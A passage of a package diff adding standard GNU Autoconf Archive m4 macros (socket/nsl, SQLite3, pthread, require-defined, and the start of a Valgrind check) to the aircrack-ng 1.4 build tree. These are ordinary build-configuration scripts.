+	AC_MSG_ERROR([cannot configure required gcrypt library])
+      fi
+    ])
+  fi
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_lib_socket_nsl.m4 Added

@@ -0,0 +1,40 @@
+# ===========================================================================
+#    https://www.gnu.org/software/autoconf-archive/ax_lib_socket_nsl.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_LIB_SOCKET_NSL
+#
+# DESCRIPTION
+#
+#   This macro figures out what libraries are required on this platform to
+#   link sockets programs.
+#
+#   The common cases are not to need any extra libraries, or to need
+#   -lsocket and -lnsl. We need to avoid linking with libnsl unless we need
+#   it, though, since on some OSes where it isn't necessary it will totally
+#   break networking. Unisys also includes gethostbyname() in libsocket but
+#   needs libnsl for socket().
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Russ Allbery <rra@stanford.edu>
+#   Copyright (c) 2008 Stepan Kasal <kasal@ucw.cz>
+#   Copyright (c) 2008 Warren Young <warren@etr-usa.com>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 7
+
+AU_ALIAS([LIB_SOCKET_NSL], [AX_LIB_SOCKET_NSL])
+AC_DEFUN([AX_LIB_SOCKET_NSL],
+[
+	AC_SEARCH_LIBS([gethostbyname], [nsl])
+	AC_SEARCH_LIBS([socket], [socket], [], [
+		AC_CHECK_LIB([socket], [socket], [LIBS="-lsocket -lnsl $LIBS"],
+		[], [-lnsl])])
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_lib_sqlite3.m4 Added

@@ -0,0 +1,177 @@
+# ===========================================================================
+#      https://www.gnu.org/software/autoconf-archive/ax_lib_sqlite3.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_LIB_SQLITE3([MINIMUM-VERSION])
+#
+# DESCRIPTION
+#
+#   Test for the SQLite 3 library of a particular version (or newer)
+#
+#   This macro takes only one optional argument, required version of SQLite
+#   3 library. If required version is not passed, 3.0.0 is used in the test
+#   of existence of SQLite 3.
+#
+#   If no installation prefix to the installed SQLite library is given the
+#   macro searches under /usr, /usr/local, and /opt.
+#
+#   This macro calls:
+#
+#     AC_SUBST(SQLITE3_CFLAGS)
+#     AC_SUBST(SQLITE3_LDFLAGS)
+#     AC_SUBST(SQLITE3_VERSION)
+#
+#   And sets:
+#
+#     HAVE_SQLITE3
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Mateusz Loskot <mateusz@loskot.net>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 18
+
+AC_DEFUN([AX_LIB_SQLITE3],
+[
+    AC_ARG_WITH([sqlite3],
+        AS_HELP_STRING(
+            [--with-sqlite3=@<:@ARG@:>@],
+            [use SQLite 3 library @<:@default=yes@:>@, optionally specify the prefix for sqlite3 library]
+        ),
+        [
+        if test "$withval" = "no"; then
+            WANT_SQLITE3="no"
+        elif test "$withval" = "yes"; then
+            WANT_SQLITE3="yes"
+            ac_sqlite3_path=""
+        else
+            WANT_SQLITE3="yes"
+            ac_sqlite3_path="$withval"
+        fi
+        ],
+        [WANT_SQLITE3="yes"]
+    )
+
+    SQLITE3_CFLAGS=""
+    SQLITE3_LDFLAGS=""
+    SQLITE3_VERSION=""
+
+    if test "x$WANT_SQLITE3" = "xyes"; then
+
+        ac_sqlite3_header="sqlite3.h"
+
+        sqlite3_version_req=ifelse([$1], [], [3.0.0], [$1])
+        sqlite3_version_req_shorten=`expr $sqlite3_version_req : '$[[0-9]]*\.[[0-9]]*$'`
+        sqlite3_version_req_major=`expr $sqlite3_version_req : '$[[0-9]]*$'`
+        sqlite3_version_req_minor=`expr $sqlite3_version_req : '[[0-9]]*\.$[[0-9]]*$'`
+        sqlite3_version_req_micro=`expr $sqlite3_version_req : '[[0-9]]*\.[[0-9]]*\.$[[0-9]]*$'`
+        if test "x$sqlite3_version_req_micro" = "x" ; then
+            sqlite3_version_req_micro="0"
+        fi
+
+        sqlite3_version_req_number=`expr $sqlite3_version_req_major \* 1000000 \
+                                   \+ $sqlite3_version_req_minor \* 1000 \
+                                   \+ $sqlite3_version_req_micro`
+
+        AC_MSG_CHECKING([for SQLite3 header])
+
+        if test "$ac_sqlite3_path" != ""; then
+            ac_sqlite3_ldflags="-L$ac_sqlite3_path/lib"
+            ac_sqlite3_cppflags="-I$ac_sqlite3_path/include"
+            AC_MSG_RESULT([explicitly set; $ac_sqlite3_path])
+        else
+            for ac_sqlite3_path_tmp in /usr /usr/local /opt ; do
+                if test -f "$ac_sqlite3_path_tmp/include/$ac_sqlite3_header" \
+                    && test -r "$ac_sqlite3_path_tmp/include/$ac_sqlite3_header"; then
+                    ac_sqlite3_path=$ac_sqlite3_path_tmp
+                    ac_sqlite3_cppflags="-I$ac_sqlite3_path_tmp/include"
+                    ac_sqlite3_ldflags="-L$ac_sqlite3_path_tmp/lib"
+                    AC_MSG_RESULT([found; $ac_sqlite3_path_tmp/include/$ac_sqlite3_header])
+                    break;
+                fi
+            done
+
+            if test "$ac_sqlite3_path" = ""; then
+                AC_MSG_RESULT([not found])
+            fi
+        fi
+
+        ac_sqlite3_ldflags="$ac_sqlite3_ldflags -lsqlite3"
+
+        saved_CPPFLAGS="$CPPFLAGS"
+        saved_LDFLAGS="$LDFLAGS"
+        CPPFLAGS="$CPPFLAGS $ac_sqlite3_cppflags"
+        LDFLAGS="$LDFLAGS $ac_sqlite3_ldflags"
+
+        AC_LANG_PUSH(C)
+
+        AC_CHECK_HEADERS([sqlite3.h], [HAVE_SQLITE3=yes], [HAVE_SQLITE3=no])
+
+        AS_IF([test "$HAVE_SQLITE3" = yes], [
+            AC_CHECK_LIB([sqlite3], [sqlite3_open], [:], [HAVE_SQLITE3=no])
+        ])
+
+        AS_IF([test "$HAVE_SQLITE3" = yes], [
+            AC_MSG_CHECKING([for SQLite3 library version >= $sqlite3_version_req])
+
+            AC_COMPILE_IFELSE(
+                [
+                AC_LANG_PROGRAM([[@%:@include <sqlite3.h>]],
+                    [[
+    #if (SQLITE_VERSION_NUMBER >= $sqlite3_version_req_number)
+    /* Everything is okay */
+    #else
+    #  error SQLite version is too old
+    #endif
+                    ]]
+                )
+                ],
+                [
+                AC_MSG_RESULT([yes])
+                ],
+                [
+                AC_MSG_RESULT([not found])
+                HAVE_SQLITE3=no
+                ]
+            )
+        ])
+
+        AC_LANG_POP(C)
+
+        CPPFLAGS="$saved_CPPFLAGS"
+        LDFLAGS="$saved_LDFLAGS"
+
+        if test "$HAVE_SQLITE3" = "yes"; then
+
+            SQLITE3_CFLAGS="$ac_sqlite3_cppflags"
+            SQLITE3_LDFLAGS="$ac_sqlite3_ldflags"
+
+            ac_sqlite3_header_path="$ac_sqlite3_path/include/$ac_sqlite3_header"
+
+            dnl Retrieve SQLite release version
+            if test "x$ac_sqlite3_header_path" != "x"; then
+                ac_sqlite3_version=`cat $ac_sqlite3_header_path \
+                    | grep '#define.*SQLITE_VERSION.*\"' | sed -e 's/.* "//' \
+                        | sed -e 's/"//'`
+                if test $ac_sqlite3_version != ""; then
+                    SQLITE3_VERSION=$ac_sqlite3_version
+                else
+                    AC_MSG_WARN([Cannot find SQLITE_VERSION macro in sqlite3.h header to retrieve SQLite version!])
+                fi
+            fi
+
+            AC_SUBST(SQLITE3_CFLAGS)
+            AC_SUBST(SQLITE3_LDFLAGS)
+            AC_SUBST(SQLITE3_VERSION)
+            AC_SUBST(HAVE_SQLITE3)
+            AC_DEFINE([HAVE_SQLITE3], [1], [Have the SQLITE3 library])
+        fi
+    fi
+])

aircrack-ng-1.4.tar.gz/build/m4/ax_pthread.m4 Added

@@ -0,0 +1,485 @@
+# ===========================================================================
+#        https://www.gnu.org/software/autoconf-archive/ax_pthread.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_PTHREAD([ACTION-IF-FOUND[, ACTION-IF-NOT-FOUND]])
+#
+# DESCRIPTION
+#
+#   This macro figures out how to build C programs using POSIX threads. It
+#   sets the PTHREAD_LIBS output variable to the threads library and linker
+#   flags, and the PTHREAD_CFLAGS output variable to any special C compiler
+#   flags that are needed. (The user can also force certain compiler
+#   flags/libs to be tested by setting these environment variables.)
+#
+#   Also sets PTHREAD_CC to any special C compiler that is needed for
+#   multi-threaded programs (defaults to the value of CC otherwise). (This
+#   is necessary on AIX to use the special cc_r compiler alias.)
+#
+#   NOTE: You are assumed to not only compile your program with these flags,
+#   but also to link with them as well. For example, you might link with
+#   $PTHREAD_CC $CFLAGS $PTHREAD_CFLAGS $LDFLAGS ... $PTHREAD_LIBS $LIBS
+#
+#   If you are only building threaded programs, you may wish to use these
+#   variables in your default LIBS, CFLAGS, and CC:
+#
+#     LIBS="$PTHREAD_LIBS $LIBS"
+#     CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+#     CC="$PTHREAD_CC"
+#
+#   In addition, if the PTHREAD_CREATE_JOINABLE thread-attribute constant
+#   has a nonstandard name, this macro defines PTHREAD_CREATE_JOINABLE to
+#   that name (e.g. PTHREAD_CREATE_UNDETACHED on AIX).
+#
+#   Also HAVE_PTHREAD_PRIO_INHERIT is defined if pthread is found and the
+#   PTHREAD_PRIO_INHERIT symbol is defined when compiling with
+#   PTHREAD_CFLAGS.
+#
+#   ACTION-IF-FOUND is a list of shell commands to run if a threads library
+#   is found, and ACTION-IF-NOT-FOUND is a list of commands to run it if it
+#   is not found. If ACTION-IF-FOUND is not specified, the default action
+#   will define HAVE_PTHREAD.
+#
+#   Please let the authors know if this macro fails on any platform, or if
+#   you have any other suggestions or comments. This macro was based on work
+#   by SGJ on autoconf scripts for FFTW (http://www.fftw.org/) (with help
+#   from M. Frigo), as well as ac_pthread and hb_pthread macros posted by
+#   Alejandro Forero Cuervo to the autoconf macro repository. We are also
+#   grateful for the helpful feedback of numerous users.
+#
+#   Updated for Autoconf 2.68 by Daniel Richard G.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Steven G. Johnson <stevenj@alum.mit.edu>
+#   Copyright (c) 2011 Daniel Richard G. <skunk@iSKUNK.ORG>
+#
+#   This program is free software: you can redistribute it and/or modify it
+#   under the terms of the GNU General Public License as published by the
+#   Free Software Foundation, either version 3 of the License, or (at your
+#   option) any later version.
+#
+#   This program is distributed in the hope that it will be useful, but
+#   WITHOUT ANY WARRANTY; without even the implied warranty of
+#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General
+#   Public License for more details.
+#
+#   You should have received a copy of the GNU General Public License along
+#   with this program. If not, see <https://www.gnu.org/licenses/>.
+#
+#   As a special exception, the respective Autoconf Macro's copyright owner
+#   gives unlimited permission to copy, distribute and modify the configure
+#   scripts that are the output of Autoconf when processing the Macro. You
+#   need not follow the terms of the GNU General Public License when using
+#   or distributing such scripts, even though portions of the text of the
+#   Macro appear in them. The GNU General Public License (GPL) does govern
+#   all other use of the material that constitutes the Autoconf Macro.
+#
+#   This special exception to the GPL applies to versions of the Autoconf
+#   Macro released by the Autoconf Archive. When you make and distribute a
+#   modified version of the Autoconf Macro, you may extend this special
+#   exception to the GPL to apply to your modified version as well.
+
+#serial 24
+
+AU_ALIAS([ACX_PTHREAD], [AX_PTHREAD])
+AC_DEFUN([AX_PTHREAD], [
+AC_REQUIRE([AC_CANONICAL_HOST])
+AC_REQUIRE([AC_PROG_CC])
+AC_REQUIRE([AC_PROG_SED])
+AC_LANG_PUSH([C])
+ax_pthread_ok=no
+
+# We used to check for pthread.h first, but this fails if pthread.h
+# requires special compiler flags (e.g. on Tru64 or Sequent).
+# It gets checked for in the link test anyway.
+
+# First of all, check if the user has set any of the PTHREAD_LIBS,
+# etcetera environment variables, and if threads linking works using
+# them:
+if test "x$PTHREAD_CFLAGS$PTHREAD_LIBS" != "x"; then
+        ax_pthread_save_CC="$CC"
+        ax_pthread_save_CFLAGS="$CFLAGS"
+        ax_pthread_save_LIBS="$LIBS"
+        AS_IF([test "x$PTHREAD_CC" != "x"], [CC="$PTHREAD_CC"])
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+        AC_MSG_CHECKING([for pthread_join using $CC $PTHREAD_CFLAGS $PTHREAD_LIBS])
+        AC_LINK_IFELSE([AC_LANG_CALL([], [pthread_join])], [ax_pthread_ok=yes])
+        AC_MSG_RESULT([$ax_pthread_ok])
+        if test "x$ax_pthread_ok" = "xno"; then
+                PTHREAD_LIBS=""
+                PTHREAD_CFLAGS=""
+        fi
+        CC="$ax_pthread_save_CC"
+        CFLAGS="$ax_pthread_save_CFLAGS"
+        LIBS="$ax_pthread_save_LIBS"
+fi
+
+# We must check for the threads library under a number of different
+# names; the ordering is very important because some systems
+# (e.g. DEC) have both -lpthread and -lpthreads, where one of the
+# libraries is broken (non-POSIX).
+
+# Create a list of thread flags to try.  Items starting with a "-" are
+# C compiler flags, and other items are library names, except for "none"
+# which indicates that we try without any flags at all, and "pthread-config"
+# which is a program returning the flags for the Pth emulation library.
+
+ax_pthread_flags="pthreads none -Kthread -pthread -pthreads -mthreads pthread --thread-safe -mt pthread-config"
+
+# The ordering *is* (sometimes) important.  Some notes on the
+# individual items follow:
+
+# pthreads: AIX (must check this before -lpthread)
+# none: in case threads are in libc; should be tried before -Kthread and
+#       other compiler flags to prevent continual compiler warnings
+# -Kthread: Sequent (threads in libc, but -Kthread needed for pthread.h)
+# -pthread: Linux/gcc (kernel threads), BSD/gcc (userland threads), Tru64
+#           (Note: HP C rejects this with "bad form for `-t' option")
+# -pthreads: Solaris/gcc (Note: HP C also rejects)
+# -mt: Sun Workshop C (may only link SunOS threads [-lthread], but it
+#      doesn't hurt to check since this sometimes defines pthreads and
+#      -D_REENTRANT too), HP C (must be checked before -lpthread, which
+#      is present but should not be used directly; and before -mthreads,
+#      because the compiler interprets this as "-mt" + "-hreads")
+# -mthreads: Mingw32/gcc, Lynx/gcc
+# pthread: Linux, etcetera
+# --thread-safe: KAI C++
+# pthread-config: use pthread-config program (for GNU Pth library)
+
+case $host_os in
+
+        freebsd*)
+
+        # -kthread: FreeBSD kernel threads (preferred to -pthread since SMP-able)
+        # lthread: LinuxThreads port on FreeBSD (also preferred to -pthread)
+
+        ax_pthread_flags="-kthread lthread $ax_pthread_flags"
+        ;;
+
+        hpux*)
+
+        # From the cc(1) man page: "[-mt] Sets various -D flags to enable
+        # multi-threading and also sets -lpthread."
+
+        ax_pthread_flags="-mt -pthread pthread $ax_pthread_flags"
+        ;;
+
+        openedition*)
+
+        # IBM z/OS requires a feature-test macro to be defined in order to
+        # enable POSIX threads at all, so give the user a hint if this is
+        # not set. (We don't define these ourselves, as they can affect
+        # other portions of the system API in unpredictable ways.)
+
+        AC_EGREP_CPP([AX_PTHREAD_ZOS_MISSING],
+            [
+#            if !defined(_OPEN_THREADS) && !defined(_UNIX03_THREADS)
+             AX_PTHREAD_ZOS_MISSING
+#            endif
+            ],
+            [AC_MSG_WARN([IBM z/OS requires -D_OPEN_THREADS or -D_UNIX03_THREADS to enable pthreads support.])])
+        ;;
+
+        solaris*)
+
+        # On Solaris (at least, for some versions), libc contains stubbed
+        # (non-functional) versions of the pthreads routines, so link-based
+        # tests will erroneously succeed. (N.B.: The stubs are missing
+        # pthread_cleanup_push, or rather a function called by this macro,
+        # so we could check for that, but who knows whether they'll stub
+        # that too in a future libc.)  So we'll check first for the
+        # standard Solaris way of linking pthreads (-mt -lpthread).
+
+        ax_pthread_flags="-mt,pthread pthread $ax_pthread_flags"
+        ;;
+esac
+
+# GCC generally uses -pthread, or -pthreads on some platforms (e.g. SPARC)
+
+AS_IF([test "x$GCC" = "xyes"],
+      [ax_pthread_flags="-pthread -pthreads $ax_pthread_flags"])
+
+# The presence of a feature test macro requesting re-entrant function
+# definitions is, on some systems, a strong hint that pthreads support is
+# correctly enabled
+
+case $host_os in
+        darwin* | hpux* | linux* | osf* | solaris*)
+        ax_pthread_check_macro="_REENTRANT"
+        ;;
+
+        aix*)
+        ax_pthread_check_macro="_THREAD_SAFE"
+        ;;
+
+        *)
+        ax_pthread_check_macro="--"
+        ;;
+esac
+AS_IF([test "x$ax_pthread_check_macro" = "x--"],
+      [ax_pthread_check_cond=0],
+      [ax_pthread_check_cond="!defined($ax_pthread_check_macro)"])
+
+# Are we compiling with Clang?
+
+AC_CACHE_CHECK([whether $CC is Clang],
+    [ax_cv_PTHREAD_CLANG],
+    [ax_cv_PTHREAD_CLANG=no
+     # Note that Autoconf sets GCC=yes for Clang as well as GCC
+     if test "x$GCC" = "xyes"; then
+        AC_EGREP_CPP([AX_PTHREAD_CC_IS_CLANG],
+            [/* Note: Clang 2.7 lacks __clang_[a-z]+__ */
+#            if defined(__clang__) && defined(__llvm__)
+             AX_PTHREAD_CC_IS_CLANG
+#            endif
+            ],
+            [ax_cv_PTHREAD_CLANG=yes])
+     fi
+    ])
+ax_pthread_clang="$ax_cv_PTHREAD_CLANG"
+
+ax_pthread_clang_warning=no
+
+# Clang needs special handling, because older versions handle the -pthread
+# option in a rather... idiosyncratic way
+
+if test "x$ax_pthread_clang" = "xyes"; then
+
+        # Clang takes -pthread; it has never supported any other flag
+
+        # (Note 1: This will need to be revisited if a system that Clang
+        # supports has POSIX threads in a separate library.  This tends not
+        # to be the way of modern systems, but it's conceivable.)
+
+        # (Note 2: On some systems, notably Darwin, -pthread is not needed
+        # to get POSIX threads support; the API is always present and
+        # active.  We could reasonably leave PTHREAD_CFLAGS empty.  But
+        # -pthread does define _REENTRANT, and while the Darwin headers
+        # ignore this macro, third-party headers might not.)
+
+        PTHREAD_CFLAGS="-pthread"
+        PTHREAD_LIBS=
+
+        ax_pthread_ok=yes
+
+        # However, older versions of Clang make a point of warning the user
+        # that, in an invocation where only linking and no compilation is
+        # taking place, the -pthread option has no effect ("argument unused
+        # during compilation").  They expect -pthread to be passed in only
+        # when source code is being compiled.
+        #
+        # Problem is, this is at odds with the way Automake and most other
+        # C build frameworks function, which is that the same flags used in
+        # compilation (CFLAGS) are also used in linking.  Many systems
+        # supported by AX_PTHREAD require exactly this for POSIX threads
+        # support, and in fact it is often not straightforward to specify a
+        # flag that is used only in the compilation phase and not in
+        # linking.  Such a scenario is extremely rare in practice.
+        #
+        # Even though use of the -pthread flag in linking would only print
+        # a warning, this can be a nuisance for well-run software projects
+        # that build with -Werror.  So if the active version of Clang has
+        # this misfeature, we search for an option to squash it.
+
+        AC_CACHE_CHECK([whether Clang needs flag to prevent "argument unused" warning when linking with -pthread],
+            [ax_cv_PTHREAD_CLANG_NO_WARN_FLAG],
+            [ax_cv_PTHREAD_CLANG_NO_WARN_FLAG=unknown
+             # Create an alternate version of $ac_link that compiles and
+             # links in two steps (.c -> .o, .o -> exe) instead of one
+             # (.c -> exe), because the warning occurs only in the second
+             # step
+             ax_pthread_save_ac_link="$ac_link"
+             ax_pthread_sed='s/conftest\.\$ac_ext/conftest.$ac_objext/g'
+             ax_pthread_link_step=`$as_echo "$ac_link" | sed "$ax_pthread_sed"`
+             ax_pthread_2step_ac_link="($ac_compile) && (echo ==== >&5) && ($ax_pthread_link_step)"
+             ax_pthread_save_CFLAGS="$CFLAGS"
+             for ax_pthread_try in '' -Qunused-arguments -Wno-unused-command-line-argument unknown; do
+                AS_IF([test "x$ax_pthread_try" = "xunknown"], [break])
+                CFLAGS="-Werror -Wunknown-warning-option $ax_pthread_try -pthread $ax_pthread_save_CFLAGS"
+                ac_link="$ax_pthread_save_ac_link"
+                AC_LINK_IFELSE([AC_LANG_SOURCE([[int main(void){return 0;}]])],
+                    [ac_link="$ax_pthread_2step_ac_link"
+                     AC_LINK_IFELSE([AC_LANG_SOURCE([[int main(void){return 0;}]])],
+                         [break])
+                    ])
+             done
+             ac_link="$ax_pthread_save_ac_link"
+             CFLAGS="$ax_pthread_save_CFLAGS"
+             AS_IF([test "x$ax_pthread_try" = "x"], [ax_pthread_try=no])
+             ax_cv_PTHREAD_CLANG_NO_WARN_FLAG="$ax_pthread_try"
+            ])
+
+        case "$ax_cv_PTHREAD_CLANG_NO_WARN_FLAG" in
+                no | unknown) ;;
+                *) PTHREAD_CFLAGS="$ax_cv_PTHREAD_CLANG_NO_WARN_FLAG $PTHREAD_CFLAGS" ;;
+        esac
+
+fi # $ax_pthread_clang = yes
+
+if test "x$ax_pthread_ok" = "xno"; then
+for ax_pthread_try_flag in $ax_pthread_flags; do
+
+        case $ax_pthread_try_flag in
+                none)
+                AC_MSG_CHECKING([whether pthreads work without any flags])
+                ;;
+
+                -mt,pthread)
+                AC_MSG_CHECKING([whether pthreads work with -mt -lpthread])
+                PTHREAD_CFLAGS="-mt"
+                PTHREAD_LIBS="-lpthread"
+                ;;
+
+                -*)
+                AC_MSG_CHECKING([whether pthreads work with $ax_pthread_try_flag])
+                PTHREAD_CFLAGS="$ax_pthread_try_flag"
+                ;;
+
+                pthread-config)
+                AC_CHECK_PROG([ax_pthread_config], [pthread-config], [yes], [no])
+                AS_IF([test "x$ax_pthread_config" = "xno"], [continue])
+                PTHREAD_CFLAGS="`pthread-config --cflags`"
+                PTHREAD_LIBS="`pthread-config --ldflags` `pthread-config --libs`"
+                ;;
+
+                *)
+                AC_MSG_CHECKING([for the pthreads library -l$ax_pthread_try_flag])
+                PTHREAD_LIBS="-l$ax_pthread_try_flag"
+                ;;
+        esac
+
+        ax_pthread_save_CFLAGS="$CFLAGS"
+        ax_pthread_save_LIBS="$LIBS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+
+        # Check for various functions.  We must include pthread.h,
+        # since some functions may be macros.  (On the Sequent, we
+        # need a special flag -Kthread to make this header compile.)
+        # We check for pthread_join because it is in -lpthread on IRIX
+        # while pthread_create is in libc.  We check for pthread_attr_init
+        # due to DEC craziness with -lpthreads.  We check for
+        # pthread_cleanup_push because it is one of the few pthread
+        # functions on Solaris that doesn't have a non-functional libc stub.
+        # We try pthread_create on general principles.
+
+        AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>
+#                       if $ax_pthread_check_cond
+#                        error "$ax_pthread_check_macro must be defined"
+#                       endif
+                        static void routine(void *a) { a = 0; }
+                        static void *start_routine(void *a) { return a; }],
+                       [pthread_t th; pthread_attr_t attr;
+                        pthread_create(&th, 0, start_routine, 0);
+                        pthread_join(th, 0);
+                        pthread_attr_init(&attr);
+                        pthread_cleanup_push(routine, 0);
+                        pthread_cleanup_pop(0) /* ; */])],
+            [ax_pthread_ok=yes],
+            [])
+
+        CFLAGS="$ax_pthread_save_CFLAGS"
+        LIBS="$ax_pthread_save_LIBS"
+
+        AC_MSG_RESULT([$ax_pthread_ok])
+        AS_IF([test "x$ax_pthread_ok" = "xyes"], [break])
+
+        PTHREAD_LIBS=""
+        PTHREAD_CFLAGS=""
+done
+fi
+
+# Various other checks:
+if test "x$ax_pthread_ok" = "xyes"; then
+        ax_pthread_save_CFLAGS="$CFLAGS"
+        ax_pthread_save_LIBS="$LIBS"
+        CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
+        LIBS="$PTHREAD_LIBS $LIBS"
+
+        # Detect AIX lossage: JOINABLE attribute is called UNDETACHED.
+        AC_CACHE_CHECK([for joinable pthread attribute],
+            [ax_cv_PTHREAD_JOINABLE_ATTR],
+            [ax_cv_PTHREAD_JOINABLE_ATTR=unknown
+             for ax_pthread_attr in PTHREAD_CREATE_JOINABLE PTHREAD_CREATE_UNDETACHED; do
+                 AC_LINK_IFELSE([AC_LANG_PROGRAM([#include <pthread.h>],
+                                                 [int attr = $ax_pthread_attr; return attr /* ; */])],
+                                [ax_cv_PTHREAD_JOINABLE_ATTR=$ax_pthread_attr; break],
+                                [])
+             done
+            ])
+        AS_IF([test "x$ax_cv_PTHREAD_JOINABLE_ATTR" != "xunknown" && \
+               test "x$ax_cv_PTHREAD_JOINABLE_ATTR" != "xPTHREAD_CREATE_JOINABLE" && \
+               test "x$ax_pthread_joinable_attr_defined" != "xyes"],
+              [AC_DEFINE_UNQUOTED([PTHREAD_CREATE_JOINABLE],
+                                  [$ax_cv_PTHREAD_JOINABLE_ATTR],
+                                  [Define to necessary symbol if this constant
+                                   uses a non-standard name on your system.])
+               ax_pthread_joinable_attr_defined=yes
+              ])
+
+        AC_CACHE_CHECK([whether more special flags are required for pthreads],
+            [ax_cv_PTHREAD_SPECIAL_FLAGS],
+            [ax_cv_PTHREAD_SPECIAL_FLAGS=no
+             case $host_os in
+             solaris*)
+             ax_cv_PTHREAD_SPECIAL_FLAGS="-D_POSIX_PTHREAD_SEMANTICS"
+             ;;
+             esac
+            ])
+        AS_IF([test "x$ax_cv_PTHREAD_SPECIAL_FLAGS" != "xno" && \
+               test "x$ax_pthread_special_flags_added" != "xyes"],
+              [PTHREAD_CFLAGS="$ax_cv_PTHREAD_SPECIAL_FLAGS $PTHREAD_CFLAGS"
+               ax_pthread_special_flags_added=yes])
+
+        AC_CACHE_CHECK([for PTHREAD_PRIO_INHERIT],
+            [ax_cv_PTHREAD_PRIO_INHERIT],
+            [AC_LINK_IFELSE([AC_LANG_PROGRAM([[#include <pthread.h>]],
+                                             [[int i = PTHREAD_PRIO_INHERIT;]])],
+                            [ax_cv_PTHREAD_PRIO_INHERIT=yes],
+                            [ax_cv_PTHREAD_PRIO_INHERIT=no])
+            ])
+        AS_IF([test "x$ax_cv_PTHREAD_PRIO_INHERIT" = "xyes" && \
+               test "x$ax_pthread_prio_inherit_defined" != "xyes"],
+              [AC_DEFINE([HAVE_PTHREAD_PRIO_INHERIT], [1], [Have PTHREAD_PRIO_INHERIT.])
+               ax_pthread_prio_inherit_defined=yes
+              ])
+
+        CFLAGS="$ax_pthread_save_CFLAGS"
+        LIBS="$ax_pthread_save_LIBS"
+
+        # More AIX lossage: compile with *_r variant
+        if test "x$GCC" != "xyes"; then
+            case $host_os in
+                aix*)
+                AS_CASE(["x/$CC"],
+                    [x*/c89|x*/c89_128|x*/c99|x*/c99_128|x*/cc|x*/cc128|x*/xlc|x*/xlc_v6|x*/xlc128|x*/xlc128_v6],
+                    [#handle absolute path differently from PATH based program lookup
+                     AS_CASE(["x$CC"],
+                         [x/*],
+                         [AS_IF([AS_EXECUTABLE_P([${CC}_r])],[PTHREAD_CC="${CC}_r"])],
+                         [AC_CHECK_PROGS([PTHREAD_CC],[${CC}_r],[$CC])])])
+                ;;
+            esac
+        fi
+fi
+
+test -n "$PTHREAD_CC" || PTHREAD_CC="$CC"
+
+AC_SUBST([PTHREAD_LIBS])
+AC_SUBST([PTHREAD_CFLAGS])
+AC_SUBST([PTHREAD_CC])
+
+# Finally, execute ACTION-IF-FOUND/ACTION-IF-NOT-FOUND:
+if test "x$ax_pthread_ok" = "xyes"; then
+        ifelse([$1],,[AC_DEFINE([HAVE_PTHREAD],[1],[Define if you have POSIX threads libraries and header files.])],[$1])
+        :
+else
+        ax_pthread_ok=no
+        $2
+fi
+AC_LANG_POP
+])dnl AX_PTHREAD

aircrack-ng-1.4.tar.gz/build/m4/ax_require_defined.m4 Added

@@ -0,0 +1,37 @@
+# ===========================================================================
+#    https://www.gnu.org/software/autoconf-archive/ax_require_defined.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_REQUIRE_DEFINED(MACRO)
+#
+# DESCRIPTION
+#
+#   AX_REQUIRE_DEFINED is a simple helper for making sure other macros have
+#   been defined and thus are available for use.  This avoids random issues
+#   where a macro isn't expanded.  Instead the configure script emits a
+#   non-fatal:
+#
+#     ./configure: line 1673: AX_CFLAGS_WARN_ALL: command not found
+#
+#   It's like AC_REQUIRE except it doesn't expand the required macro.
+#
+#   Here's an example:
+#
+#     AX_REQUIRE_DEFINED([AX_CHECK_LINK_FLAG])
+#
+# LICENSE
+#
+#   Copyright (c) 2014 Mike Frysinger <vapier@gentoo.org>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved. This file is offered as-is, without any
+#   warranty.
+
+#serial 2
+
+AC_DEFUN([AX_REQUIRE_DEFINED], [dnl
+  m4_ifndef([$1], [m4_fatal([macro ]$1[ is not defined; is a m4 file missing?])])
+])dnl AX_REQUIRE_DEFINED

aircrack-ng-1.4.tar.gz/build/m4/ax_valgrind_check.m4 Added

@@ -0,0 +1,233 @@
+# ===========================================================================
+#     http://www.gnu.org/software/autoconf-archive/ax_valgrind_check.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_VALGRIND_CHECK()
+#
+# DESCRIPTION
+#
+#   Checks whether Valgrind is present and, if so, allows running `make
+#   check` under a variety of Valgrind tools to check for memory and
+#   threading errors.
+#
+#   Defines VALGRIND_CHECK_RULES which should be substituted in your
+#   Makefile; and $enable_valgrind which can be used in subsequent configure
+#   output. VALGRIND_ENABLED is defined and substituted, and corresponds to
+#   the value of the --enable-valgrind option, which defaults to being
+#   enabled if Valgrind is installed and disabled otherwise.
+#
+#   If unit tests are written using a shell script and automake's
+#   LOG_COMPILER system, the $(VALGRIND) variable can be used within the
+#   shell scripts to enable Valgrind, as described here:
+#
+#     https://www.gnu.org/software/gnulib/manual/html_node/Running-self_002dtests-under-valgrind.html
+#
+#   Usage example:
+#
+#   configure.ac:
+#
+#     AX_VALGRIND_CHECK
+#
+#   Makefile.am:
+#
+#     @VALGRIND_CHECK_RULES@
+#     VALGRIND_SUPPRESSIONS_FILES = my-project.supp
+#     EXTRA_DIST = my-project.supp
+#
+#   This results in a "check-valgrind" rule being added to any Makefile.am
+#   which includes "@VALGRIND_CHECK_RULES@" (assuming the module has been
+#   configured with --enable-valgrind). Running `make check-valgrind` in
+#   that directory will run the module's test suite (`make check`) once for
